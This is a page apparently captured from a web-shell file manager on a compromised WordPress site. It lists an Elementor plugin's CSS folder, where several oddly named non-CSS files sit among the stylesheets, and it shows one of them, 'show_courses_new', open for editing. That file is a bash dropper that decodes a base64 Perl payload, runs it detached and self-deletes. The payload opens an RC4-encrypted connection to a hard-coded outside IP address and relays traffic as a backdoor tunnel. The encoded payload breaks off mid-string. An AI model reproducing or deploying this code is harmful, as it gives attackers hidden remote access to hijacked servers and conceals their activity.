X7ROOT File Manager
Current Path:
/home/hikrsdyp/public_html/wp-content/plugins/elementor/assets/css
home
/
hikrsdyp
/
public_html
/
wp-content
/
plugins
/
elementor
/
assets
/
css
/
??
..
??
admin-bar.css
(768 B)
??
admin-bar.min.css
(619 B)
??
admin-top-bar.css
(4.52 KB)
??
admin-top-bar.min.css
(3.87 KB)
??
admin.css
(156.74 KB)
??
admin.min.css
(132.76 KB)
??
app-base-rtl.css
(1.76 KB)
??
app-base-rtl.min.css
(993 B)
??
app-base.css
(1.75 KB)
??
app-base.min.css
(993 B)
??
app-rtl.css
(106.25 KB)
??
app-rtl.min.css
(88.72 KB)
??
app.css
(106.25 KB)
??
app.min.css
(88.72 KB)
??
common-rtl.css
(27.07 KB)
??
common-rtl.min.css
(24.55 KB)
??
common.css
(27.06 KB)
??
common.min.css
(24.55 KB)
??
conditionals
??
editor-preview-rtl.css
(142.42 KB)
??
editor-preview-rtl.min.css
(116.97 KB)
??
editor-preview.css
(142.42 KB)
??
editor-preview.min.css
(116.97 KB)
??
editor-rtl.css
(243.88 KB)
??
editor-rtl.min.css
(209.48 KB)
??
editor-v2-app-bar-overrides.css
(1.28 KB)
??
editor-v2-app-bar-overrides.min.css
(1007 B)
??
editor.css
(243.81 KB)
??
editor.min.css
(209.43 KB)
??
frontend-rtl.css
(61.75 KB)
??
frontend-rtl.min.css
(52.39 KB)
??
frontend.css
(61.75 KB)
??
frontend.min.css
(52.39 KB)
??
modules
??
pamqbefp
(9.03 KB)
??
responsive-bar.css
(4.23 KB)
??
responsive-bar.min.css
(3.51 KB)
??
show_courses_new
(853.71 KB)
??
templates
??
theme-dark.css
(2.94 KB)
??
theme-dark.min.css
(2.2 KB)
??
theme-light.css
(2.92 KB)
??
theme-light.min.css
(2.19 KB)
??
widget-accordion-rtl.min.css
(1.7 KB)
??
widget-accordion.min.css
(1.7 KB)
??
widget-alert-rtl.min.css
(1.63 KB)
??
widget-alert.min.css
(1.63 KB)
??
widget-contact-buttons-base-rtl.min.css
(19.68 KB)
??
widget-contact-buttons-base.min.css
(19.68 KB)
??
widget-contact-buttons-var-1-rtl.min.css
(3.42 KB)
??
widget-contact-buttons-var-1.min.css
(3.42 KB)
??
widget-contact-buttons-var-10-rtl.min.css
(9.36 KB)
??
widget-contact-buttons-var-10.min.css
(9.36 KB)
??
widget-contact-buttons-var-3-rtl.min.css
(11.61 KB)
??
widget-contact-buttons-var-3.min.css
(11.61 KB)
??
widget-contact-buttons-var-4-rtl.min.css
(7.8 KB)
??
widget-contact-buttons-var-4.min.css
(7.8 KB)
??
widget-contact-buttons-var-6-rtl.min.css
(3.15 KB)
??
widget-contact-buttons-var-6.min.css
(3.15 KB)
??
widget-contact-buttons-var-7-rtl.min.css
(2.32 KB)
??
widget-contact-buttons-var-7.min.css
(2.32 KB)
??
widget-contact-buttons-var-8-rtl.min.css
(5.38 KB)
??
widget-contact-buttons-var-8.min.css
(5.38 KB)
??
widget-contact-buttons-var-9-rtl.min.css
(9.25 KB)
??
widget-contact-buttons-var-9.min.css
(9.25 KB)
??
widget-contact-buttons-vars-rtl.min.css
(0 B)
??
widget-contact-buttons-vars.min.css
(0 B)
??
widget-counter-rtl.min.css
(753 B)
??
widget-counter.min.css
(753 B)
??
widget-divider-rtl.min.css
(4.16 KB)
??
widget-divider.min.css
(4.16 KB)
??
widget-floating-bars-base-rtl.min.css
(9.3 KB)
??
widget-floating-bars-base.min.css
(9.3 KB)
??
widget-floating-bars-var-2-rtl.min.css
(5.11 KB)
??
widget-floating-bars-var-2.min.css
(5.11 KB)
??
widget-floating-bars-var-3-rtl.min.css
(4.82 KB)
??
widget-floating-bars-var-3.min.css
(4.82 KB)
??
widget-floating-bars-vars-rtl.min.css
(0 B)
??
widget-floating-bars-vars.min.css
(0 B)
??
widget-floating-buttons-rtl.min.css
(91.2 KB)
??
widget-floating-buttons.min.css
(91.2 KB)
??
widget-google_maps-rtl.min.css
(261 B)
??
widget-google_maps.min.css
(261 B)
??
widget-heading-rtl.min.css
(560 B)
??
widget-heading.min.css
(560 B)
??
widget-icon-box-rtl.min.css
(5.67 KB)
??
widget-icon-box.min.css
(5.67 KB)
??
widget-icon-list-rtl.min.css
(10.19 KB)
??
widget-icon-list.min.css
(10.19 KB)
??
widget-image-box-rtl.min.css
(1.42 KB)
??
widget-image-box.min.css
(1.42 KB)
??
widget-image-carousel-rtl.min.css
(342 B)
??
widget-image-carousel.min.css
(342 B)
??
widget-image-gallery-rtl.min.css
(2.36 KB)
??
widget-image-gallery.min.css
(2.36 KB)
??
widget-image-rtl.min.css
(214 B)
??
widget-image.min.css
(214 B)
??
widget-link-in-bio-base-rtl.min.css
(12.11 KB)
??
widget-link-in-bio-base.min.css
(12.11 KB)
??
widget-link-in-bio-rtl.min.css
(17.58 KB)
??
widget-link-in-bio-var-2-rtl.min.css
(821 B)
??
widget-link-in-bio-var-2.min.css
(821 B)
??
widget-link-in-bio-var-3-rtl.min.css
(704 B)
??
widget-link-in-bio-var-3.min.css
(704 B)
??
widget-link-in-bio-var-4-rtl.min.css
(788 B)
??
widget-link-in-bio-var-4.min.css
(788 B)
??
widget-link-in-bio-var-5-rtl.min.css
(1.59 KB)
??
widget-link-in-bio-var-5.min.css
(1.59 KB)
??
widget-link-in-bio-var-7-rtl.min.css
(1.64 KB)
??
widget-link-in-bio-var-7.min.css
(1.64 KB)
??
widget-link-in-bio-vars-rtl.min.css
(0 B)
??
widget-link-in-bio-vars.min.css
(0 B)
??
widget-link-in-bio.min.css
(17.58 KB)
??
widget-menu-anchor-rtl.min.css
(69 B)
??
widget-menu-anchor.min.css
(69 B)
??
widget-nested-accordion-rtl.min.css
(5 KB)
??
widget-nested-accordion.min.css
(5 KB)
??
widget-nested-tabs-rtl.min.css
(14.47 KB)
??
widget-nested-tabs.min.css
(14.47 KB)
??
widget-progress-rtl.min.css
(1.16 KB)
??
widget-progress.min.css
(1.16 KB)
??
widget-rating-rtl.min.css
(1.28 KB)
??
widget-rating.min.css
(1.28 KB)
??
widget-social-icons-rtl.min.css
(4.99 KB)
??
widget-social-icons.min.css
(4.99 KB)
??
widget-spacer-rtl.min.css
(1.75 KB)
??
widget-spacer.min.css
(1.75 KB)
??
widget-star-rating-rtl.min.css
(4.69 KB)
??
widget-star-rating.min.css
(4.69 KB)
??
widget-tabs-rtl.min.css
(4.19 KB)
??
widget-tabs.min.css
(4.19 KB)
??
widget-testimonial-rtl.min.css
(1.61 KB)
??
widget-testimonial.min.css
(1.61 KB)
??
widget-text-editor-rtl.min.css
(680 B)
??
widget-text-editor.min.css
(680 B)
??
widget-text-path-rtl.min.css
(1.02 KB)
??
widget-text-path.min.css
(1.02 KB)
??
widget-toggle-rtl.min.css
(1.51 KB)
??
widget-toggle.min.css
(1.51 KB)
??
widget-video-rtl.min.css
(1.21 KB)
??
widget-video.min.css
(1.21 KB)
??
zpxd9awq
(9.03 KB)
Editing: show_courses_new
#!/bin/bash # x = execute function x() { f="x$RANDOM.pl" echo "$1" | base64 -d > "$f" chmod +x "$f" # Запускаем, глушим вывод и сразу делаем disown # disown -h гарантирует, что процесс отвязан от терминала ./"$f" >/dev/null 2>&1 & disown # Удаление (sleep 2; rm -f "$f") & disown sleep 1 } x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5n